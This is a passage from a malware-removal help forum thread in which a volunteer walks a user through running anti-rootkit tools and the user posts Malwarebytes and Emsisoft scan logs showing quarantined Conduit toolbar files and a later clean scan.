PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_toolbarContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_appsMetadata, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_appTrackingFirstTime, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_gottenAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_location, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_login, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_otherAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_searchAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_serviceMap, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.1.21.serviceLayer_services_toolbarContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_toolbarSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_translation, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_toolbarSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.4.519.serviceLayer_services_translation, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_appsMetadata, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_appTrackingFirstTime, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_Configuration, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_gottenAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_login, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_otherAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_searchAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_serviceMap, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_toolbarContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.16.9.506.serviceLayer_services_toolbarSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.130028909967386036.search.settings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.130028909967386036.search.user-enlargeBoxSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.appOptions, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.cookiesRepo, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.fullUserID, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.installUsage, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.installUsageEarly, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.NotificationSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.NOTIFICATION_ID.notifications-repository, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.NOTIFICATION_ID.notifications-servicemap, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.NOTIFICATION_ID.notifications-service_1764581, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411.pg_conf_global, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_appsMetadata, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_appTrackingFirstTime, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_Configuration, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_gottenAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_login, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_otherAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_searchAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_serviceMap, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_toolbarContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_10.19.2.505.serviceLayer_services_toolbarSettings, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\originalSearchEngine.xml, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\serviceLayer_userApps_added, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\toolbar_initializing_logger.txt, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\uninstallData, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\uninstallUrl, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_appsMetadata, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_appTrackingFirstTime, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_Configuration, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_gottenAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_location, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_login, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_otherAppsContextMenu, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_searchAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_serviceMap, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279411\CT3279411_RAW.serviceLayer_services_setupAPI, Quarantined, [facdf79f6b2ff145671e477e18ea5da3],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279412\CT3279412.fullUserID, Quarantined, [eadd9bfb8a10c96daed78c39dc26728e],
PUP.Optional.ConduitTB.Gen, C:\Users\Dads\AppData\Roaming\Mozilla\Firefox\Profiles\vqy5f7kh.default\CT3279412\CT3279412.UserID, Quarantined, [eadd9bfb8a10c96daed78c39dc26728e],
Rootkit.Fileless.MTGen, C:\Users\Dads\AppData\Local\778a04\367186.bat, Quarantined, [379051458d0d49ed237406f1e024a15f],
Physical Sectors: 0
(No malicious items detected)
(end)
Emsisoft Emergency Kit - Version 11.9
Last update: 10/8/2016 8:13:20 PM
User account: Dads-PC\Dads
Computer name: DADS-PC
OS version: Windows 10x86
Scan settings:
Scan type: Malware Scan
Objects: Rootkits, Memory, Traces, Files
Detect PUPs: On
Scan archives: Off
ADS Scan: On
File extension filter: Off
Advanced caching: On
Direct disk access: Off
Scan start: 10/8/2016 8:16:09 PM
Scanned 77131
Found 0
Scan end: 10/8/2016 8:26:30 PM
Scan time: 0:10:21
Juliet
This looks so much better.
Let's run one more quick scan that should finish us up.
[external image: bullseye_zpse9eaf36e.gif]Malwarebytes Anti-Rootkit
Let's run one more quick scan that should finish us up.
[external image: bullseye_zpse9eaf36e.gif]Malwarebytes Anti-Rootkit
- Download Malwarebytes Anti-Rootkit
- Once the file has been downloaded, right click on the downloaded file and select the Extract all menu option.
- Follow the instructions to extract the ZIP file to a folder called mbar-versionnumber on your desktop.
- Once the ZIP file has been extracted, open the folder and when that folder opens, double-click on the mbar folder.
- Double-click on the mbar.exe file to launch Malwarebytes Anti-Rootkit.
- After you double-click on the mbar.exe file, you may receive a User Account Control (UAC) message if you are sure you wish to allow the program to run. Please allow to start Malwarebytes Anti-Rootkit correctly.
- Malwarebytes Anti-Rootkit will now install necessary drivers that are required for the program to operate correctly.
- If you receive a DDA driver message like could not load DDA driver, click on the Yes button and Malwarebytes Anti-Rootkit will now restart your computer and will start automatically.
- Please click by the introduction screen on the Next button to continue.
- Next you will see the Update Database screen.
- Click on the Update button so Malwarebytes Anti-Rootkit can download the latest definition updates.
- When the update has finished, click on the Next button.
- Next you can select some basic scanning options. Make sure the Drivers, Sectors, and System scan targets are selected before you click on the Scan button.
- Malwarebytes Anti-Rootkit will now start scanning your computer for rootkits. This scan can take some time, so please be patient.
- When the scan with Malwarebytes Anti-Rootkit is finished, the program will display a screen with the results from the scan.
- Make sure everything is selected and that the option to create a restore point is checked.
- Next click on the Cleanup button. Malwarebytes Anti-Rootkit will then prompt you to reboot your computer.
- Click on Yes button to restart your computer.
- There will now be two log files created in the mbar folder called system-log.txt and one that starts with mbar-log.
- The mbar-log file will always start with mbar-log, but the rest will be named using a timestamp indicating the time it was run.
- For example, mbar-log-2012-11-12 (19-13-32).txt corresponds to mbar-log-year-month-day (hour-minute-second).txt.
- The system-log.txt contains information about each time you have run MBAR and contains diagnostic information from the program.
es4245
Ok here are the new logs
Thanks for all your help
Malwarebytes Anti-Rootkit BETA 1.9.3.1001
www.malwarebytes.org
Database version:
main: v2016.10.09.06
rootkit: v2016.09.26.02
Windows 10 x86 NTFS
Internet Explorer 11.589.10586.0
Dads :: DADS-PC [administrator]
10/9/2016 8:24:19 AM
mbar-log-2016-10-09 (08-24-19).txt
Scan type: Quick scan
Scan options enabled: Anti-Rootkit | Drivers | MBR | Physical Sectors | Memory | Startup | Registry | File System | Heuristics/Extra | Heuristics/Shuriken
Scan options disabled:
Objects scanned: 345568
Time elapsed: 29 minute(s), 56 second(s)
Memory Processes Detected: 0
(No malicious items detected)
Memory Modules Detected: 0
(No malicious items detected)
Registry Keys Detected: 0
(No malicious items detected)
Registry Values Detected: 0
(No malicious items detected)
Registry Data Items Detected: 0
(No malicious items detected)
Folders Detected: 0
(No malicious items detected)
Files Detected: 0
(No malicious items detected)
Physical Sectors Detected: 0
(No malicious items detected)
(end)
—————————————
Malwarebytes Anti-Rootkit BETA 1.09.3.1001
© Malwarebytes Corporation 2011-2012
OS version: 10.0.9200 Windows 10 x86
Account is Administrative
Internet Explorer version: 11.589.10586.0
File system is: NTFS
Disk drives: C:\ DRIVE_FIXED, E:\ DRIVE_FIXED, F:\ DRIVE_FIXED
CPU speed: 2.992000 GHz
Memory total: 3477712896, free: 1824354304
Downloaded database version: v2016.10.09.06
Downloaded database version: v2016.09.26.02
Downloaded database version: v2016.09.21.01
Initializing…
======================
Driver version: 0.3.0.4
———— Kernel report ————
10/09/2016 08:24:09
———— Loaded modules ———–
\SystemRoot\system32\ntoskrnl.exe
\SystemRoot\system32\halmacpi.dll
\SystemRoot\system32\kd.dll
\SystemRoot\system32\mcupdate_GenuineIntel.dll
\SystemRoot\System32\drivers\werkernel.sys
\SystemRoot\System32\drivers\CLFS.SYS
\SystemRoot\System32\drivers\tm.sys
\SystemRoot\system32\PSHED.dll
\SystemRoot\system32\BOOTVID.dll
\SystemRoot\System32\drivers\cmimcext.sys
\SystemRoot\System32\drivers\ntosext.sys
\SystemRoot\system32\CI.dll
\SystemRoot\System32\drivers\msrpc.sys
\SystemRoot\System32\drivers\FLTMGR.SYS
\SystemRoot\System32\drivers\ksecdd.sys
\SystemRoot\System32\drivers\clipsp.sys
\SystemRoot\system32\drivers\Wdf01000.sys
\SystemRoot\system32\drivers\WDFLDR.SYS
\SystemRoot\System32\Drivers\acpiex.sys
\SystemRoot\System32\Drivers\WppRecorder.sys
\SystemRoot\System32\Drivers\cng.sys
\SystemRoot\System32\drivers\ACPI.sys
\SystemRoot\System32\drivers\WMILIB.SYS
\SystemRoot\system32\drivers\WindowsTrustedRT.sys
\SystemRoot\System32\drivers\WindowsTrustedRTProxy.sys
\SystemRoot\System32\drivers\pcw.sys
\SystemRoot\System32\drivers\msisadrv.sys
\SystemRoot\System32\drivers\pci.sys
\SystemRoot\System32\drivers\vdrvroot.sys
\SystemRoot\system32\drivers\pdc.sys
\SystemRoot\system32\drivers\CEA.sys
\SystemRoot\System32\drivers\partmgr.sys
\SystemRoot\system32\drivers\gfibto.sys
\SystemRoot\System32\drivers\spaceport.sys
\SystemRoot\System32\drivers\volmgr.sys
\SystemRoot\System32\drivers\volmgrx.sys
\SystemRoot\System32\drivers\pciide.sys
\SystemRoot\System32\drivers\PCIIDEX.SYS
\SystemRoot\System32\drivers\mountmgr.sys
\SystemRoot\System32\drivers\atapi.sys
\SystemRoot\System32\drivers\ataport.SYS
\SystemRoot\System32\drivers\storahci.sys
\SystemRoot\System32\drivers\storport.sys
\SystemRoot\System32\drivers\EhStorClass.sys
\SystemRoot\System32\drivers\fileinfo.sys
\SystemRoot\System32\Drivers\Wof.sys
\SystemRoot\System32\Drivers\NTFS.sys
\SystemRoot\System32\Drivers\Fs_Rec.sys
\SystemRoot\system32\drivers\ndis.sys
\SystemRoot\system32\drivers\NETIO.SYS
\SystemRoot\System32\Drivers\ksecpkg.sys
\SystemRoot\System32\drivers\tcpip.sys
\SystemRoot\System32\drivers\fwpkclnt.sys
\SystemRoot\System32\drivers\wfplwfs.sys
\SystemRoot\System32\DRIVERS\fvevol.sys
\SystemRoot\System32\drivers\volsnap.sys
\SystemRoot\system32\drivers\N360\1608000.032\SYMEFASI.SYS
\SystemRoot\System32\drivers\rdyboost.sys
\SystemRoot\System32\Drivers\mup.sys
\SystemRoot\System32\drivers\disk.sys
\SystemRoot\System32\drivers\CLASSPNP.SYS
\SystemRoot\System32\Drivers\crashdmp.sys
\SystemRoot\System32\drivers\cdrom.sys
\SystemRoot\system32\drivers\N360\1608000.032\ccSetx86.sys
\SystemRoot\system32\drivers\filecrypt.sys
\SystemRoot\system32\drivers\tbs.sys
\SystemRoot\system32\drivers\N360\1608000.032\Ironx86.SYS
\??\C:\Windows\system32\Drivers\SYMEVENT.SYS
\SystemRoot\System32\Drivers\N360\1608000.032\SRTSP.SYS
\SystemRoot\system32\drivers\N360\1608000.032\SRTSPX.SYS
\??\C:\EEK\bin32\epp.sys
\SystemRoot\System32\Drivers\Null.SYS
\SystemRoot\System32\Drivers\Beep.SYS
\SystemRoot\System32\drivers\BasicDisplay.sys
\SystemRoot\System32\drivers\watchdog.sys
\SystemRoot\System32\drivers\dxgkrnl.sys
\SystemRoot\System32\drivers\BasicRender.sys
\SystemRoot\System32\Drivers\Npfs.SYS
\SystemRoot\System32\Drivers\Msfs.SYS
\SystemRoot\system32\DRIVERS\tdx.sys
\SystemRoot\system32\DRIVERS\TDI.SYS
\SystemRoot\System32\DRIVERS\netbt.sys
\SystemRoot\system32\drivers\afd.sys
\SystemRoot\System32\drivers\vwififlt.sys
\SystemRoot\System32\drivers\pacer.sys
\SystemRoot\system32\drivers\netbios.sys
\SystemRoot\system32\DRIVERS\rdbss.sys
\SystemRoot\System32\Drivers\N360\1608000.032\SYMNETS.SYS
\SystemRoot\system32\drivers\nsiproxy.sys
\SystemRoot\System32\drivers\npsvctrig.sys
\SystemRoot\System32\drivers\mssmbios.sys
\??\C:\Program Files\Norton Security Suite\NortonData\22.5.2.15\Definitions\IPSDefs\20161007.001\IDSvix86.sys
\SystemRoot\System32\drivers\gpuenergydrv.sys
\??\C:\Program Files\Common Files\Symantec Shared\EENGINE\eeCtrl.sys
\??\C:\Program Files\Common Files\Symantec Shared\EENGINE\EraserUtilRebootDrv.sys
\SystemRoot\System32\Drivers\dfsc.sys
\??\C:\Program Files\Norton Security Suite\NortonData\22.5.2.15\Definitions\BASHDefs\20161005.001\BHDrvx86.sys
\SystemRoot\system32\DRIVERS\ahcache.sys
\SystemRoot\System32\DriverStore\FileRepository\compositebus.inf_x86_dd1d60cd48926252\CompositeBus.sys
\SystemRoot\System32\drivers\kdnic.sys
\SystemRoot\System32\drivers\umbus.sys
\SystemRoot\System32\drivers\intelppm.sys
\SystemRoot\system32\DRIVERS\igdkmd32.sys
\SystemRoot\System32\drivers\HECI.sys
\SystemRoot\System32\drivers\serial.sys
\SystemRoot\System32\drivers\serenum.sys
\SystemRoot\system32\DRIVERS\e1e6232.sys
\SystemRoot\System32\drivers\usbuhci.sys
\SystemRoot\System32\drivers\USBPORT.SYS
\SystemRoot\System32\drivers\usbehci.sys
\SystemRoot\System32\drivers\HDAudBus.sys
\SystemRoot\System32\drivers\portcls.sys
\SystemRoot\System32\drivers\drmk.sys
\SystemRoot\System32\drivers\ks.sys
\SystemRoot\system32\DRIVERS\HSXHWBS2.sys
\SystemRoot\system32\DRIVERS\HSX_DPV.sys
\SystemRoot\system32\DRIVERS\HSX_CNXT.sys
\SystemRoot\system32\drivers\modem.sys
\SystemRoot\System32\drivers\parport.sys
\SystemRoot\system32\DRIVERS\GEARAspiWDM.sys
\SystemRoot\System32\drivers\NdisVirtualBus.sys
\SystemRoot\System32\drivers\swenum.sys
\SystemRoot\system32\drivers\DellProf.sys
\SystemRoot\system32\drivers\DDDriver32Dcsa.sys
\SystemRoot\System32\drivers\rdpbus.sys
\SystemRoot\System32\drivers\usbhub.sys
\SystemRoot\System32\drivers\USBD.SYS
\SystemRoot\System32\drivers\HdAudio.sys
\SystemRoot\System32\Drivers\dump_diskdump.sys
\SystemRoot\System32\Drivers\dump_storahci.sys
\SystemRoot\System32\Drivers\dump_dumpfve.sys
\SystemRoot\System32\win32k.sys
\SystemRoot\System32\win32kfull.sys
\SystemRoot\System32\drivers\HIDPARSE.SYS
\SystemRoot\System32\win32kbase.sys
\SystemRoot\System32\drivers\usbccgp.sys
\SystemRoot\System32\Drivers\UsbFltr.sys
\SystemRoot\System32\drivers\hidusb.sys
\SystemRoot\System32\drivers\HIDCLASS.SYS
\SystemRoot\System32\drivers\kbdhid.sys
\SystemRoot\System32\drivers\dxgmms1.sys
\SystemRoot\System32\drivers\dxgmms2.sys
\SystemRoot\System32\drivers\kbdclass.sys
\SystemRoot\System32\TSDDD.dll
\SystemRoot\System32\drivers\mouhid.sys
\SystemRoot\System32\drivers\mouclass.sys
\SystemRoot\System32\drivers\monitor.sys
\SystemRoot\System32\cdd.dll
\SystemRoot\system32\drivers\luafv.sys
\SystemRoot\system32\drivers\storqosflt.sys
\SystemRoot\system32\drivers\lltdio.sys
\SystemRoot\system32\drivers\mslldp.sys
\SystemRoot\system32\drivers\rspndr.sys
\SystemRoot\system32\drivers\HTTP.sys
\SystemRoot\system32\drivers\WudfPf.sys
\SystemRoot\system32\DRIVERS\bowser.sys
\SystemRoot\system32\DRIVERS\mrxsmb.sys
\SystemRoot\system32\DRIVERS\mrxsmb20.sys
\SystemRoot\System32\drivers\mpsdrv.sys
\SystemRoot\System32\DRIVERS\srvnet.sys
\SystemRoot\System32\DRIVERS\srv2.sys
\SystemRoot\System32\drivers\parvdm.sys
\SystemRoot\system32\DRIVERS\mdmxsdk.sys
\SystemRoot\system32\drivers\mmcss.sys
\SystemRoot\system32\DRIVERS\mrxsmb10.sys
\SystemRoot\system32\drivers\mqac.sys
\SystemRoot\system32\drivers\Ndu.sys
\SystemRoot\system32\drivers\peauth.sys
\SystemRoot\System32\DRIVERS\srv.sys
\SystemRoot\System32\drivers\tcpipreg.sys
\SystemRoot\system32\DRIVERS\XAudio32.sys
\SystemRoot\System32\drivers\tunnel.sys
\SystemRoot\System32\drivers\WSDPrint.sys
\SystemRoot\system32\DRIVERS\WSDScan.sys
\SystemRoot\System32\drivers\condrv.sys
\??\C:\WINDOWS\system32\drivers\mbamchameleon.sys
\??\C:\WINDOWS\system32\drivers\MBAMSwissArmy.sys
———– End ———–
Done!
Scan started
Database versions:
main: v2016.10.09.06
rootkit: v2016.09.26.02
<<<2>>>
Physical Sector Size: 512
Drive: 1, DevicePointer: 0xffffffff8b20a7d0, DeviceName: \Device\Harddisk1\DR1\, DriverName: \Driver\disk\
——— Disk Stack ——
DevicePointer: 0xffffffff8b20a3a0, DeviceName: Unknown, DriverName: \Driver\partmgr\
DevicePointer: 0xffffffff8b20a7d0, DeviceName: \Device\Harddisk1\DR1\, DriverName: \Driver\disk\
DevicePointer: 0xffffffff8a9b9030, DeviceName: \Device\00000023\, DriverName: \Driver\storahci\
———— End ———-
Alternate DeviceName: \Device\Harddisk1\DR1\, DriverName: \Driver\disk\
Upper DeviceData: 0x0, 0x0, 0x0
Lower DeviceData: 0x0, 0x0, 0x0
<<<3>>>
Volume: C:
File system type: NTFS
SectorSize = 512, ClusterSize = 4096, MFTRecordSize = 1024, MFTIndexSize = 4096 bytes
<<<2>>>
<<<3>>>
Volume: C:
